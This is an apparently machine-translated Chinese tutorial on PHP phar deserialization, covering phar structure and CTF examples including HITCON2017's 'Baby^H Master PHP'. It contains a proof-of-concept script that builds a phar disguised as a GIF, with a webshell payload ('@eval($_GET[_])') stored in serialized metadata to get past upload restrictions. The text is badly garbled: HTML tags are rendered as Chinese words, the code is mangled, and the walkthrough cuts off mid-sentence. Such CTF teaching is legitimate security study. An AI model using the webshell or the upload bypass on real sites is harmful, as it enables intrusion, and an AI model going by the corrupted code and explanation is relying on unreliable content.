这篇文章将为大家详细讲解有关PHP反序列化入门中phar是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
phar介绍
简单来说<代码> phar> 代码就是PHP代码> <代码>压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被PHP访问并执行,与<代码>文件://代码> <代码> PHP://代码>等类似,也是一种流包装器。
<代码> phar> 代码结构由4部分组成
<李>
<代码>存根代码> phar文件标识,格式为<代码> xxx<?php xxx;__HALT_COMPILER();祝辞;代码>
李> <李><代码>显示> 代码压缩文件的属性等信息,以<强>序列化>强存储;
李> <李><代码> 代码>内容压缩文件的内容;
李> <李><代码> >代码签名签的名,放在文件末尾;
李>这里有两个关键点,一是文件标识,必须以<代码> __HALT_COMPILER(); ?在代码>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者<代码> pdf 代码>文件来绕过一些上传限制;二是反序列化,<代码> phar> 代码存储的<代码> 代码>元数据信息以序列化方式存储,当文件操作函数通过<代码> phar://代码>伪协议解析<代码> phar 代码>文件时就会将数据反序列化,而这样的文件操作函数有很多。
引用>以上内容摘自:由PHPGGC理解PHP反序列化漏洞。接下来,我们还是通过两个周大福题目来学习phar反序列化的利用。
例题一
这题比较简单,可以直接生成<强> phar >强文件,然后利用网站的上传图片功能,结合<强>第11行强>的<强> file_exists 强>函数进行phar反序列化利用,生成代码如下:
& lt; ? PHP//,phar.readonly无法通过该语句进行设置:,init_set (“phar.readonly" 0); class MyClass { ,,,var output 美元;=,& # 39;@eval ($ _GET [_]); & # 39;; } $ o =, new MyClass (); 时间=美元filename & # 39; poc.phar& # 39;;//,后缀必须为phar,否则程序无法运行 file_exists(文件名),?,拆开(文件名),:,空; phar美元=new phar ($ filename); phar→美元startBuffering (); phar→美元setStub (“GIF89a< php __HALT_COMPILER();, ?在“); phar→美元setMetadata (o); phar→美元addFromString (“foo.txt",“bar"); phar→美元stopBuffering (); ?在
例题二
这题选用<强> HITCON2017 强>中的<强>婴儿^ H掌握PHP 2017 强>一题进行学习,题目点这里下载。
题目的意思很明确,要我们利用<强>管理>强类的<强> __destruct >强方法来获得<强>标记>强。但是<强>第20行强>的<>强随机>强美元变量我们无法获得,这样也就无法获得<强>标记>强,所以我们要通过匿名类的名字来调用<强>标记强>生成函数。
我们可以看看<强> create_function 强>函数对应的内核源码。(<强> php-src/Zend/zend_builtin_functions。c: 1901 强>)
可以看到匿名函数的名字类似于<强> \ 0 lambda_ % d >强,其中<强> % d 强>为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入<强> apache-prefork 强>模型(默认模型)介绍(关于该模型的介绍,可以参考:Apache的三种MPM模式比较:prefork,工人,事件)。当用户请求过大时,超过<强> Apache 强>默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。
接下来我们就来找反序列化的利用点,我们很快看到<强>第35行强>反序列化了一个可控的<强> 强>变元数据量,但是上一行有一个<强> hash_equals 强>函数进行了数据校验,而<强> 强>的秘密美元值不可知,这就没法利用这一反序列化点,接着我们会看到<强>第40行强>有一个上传<强> gif >强文件功能,且<强> 强>变元数据量可控。那么攻击思路就是,我们先通过将构造好的
PHP反序列化入门中phar是什么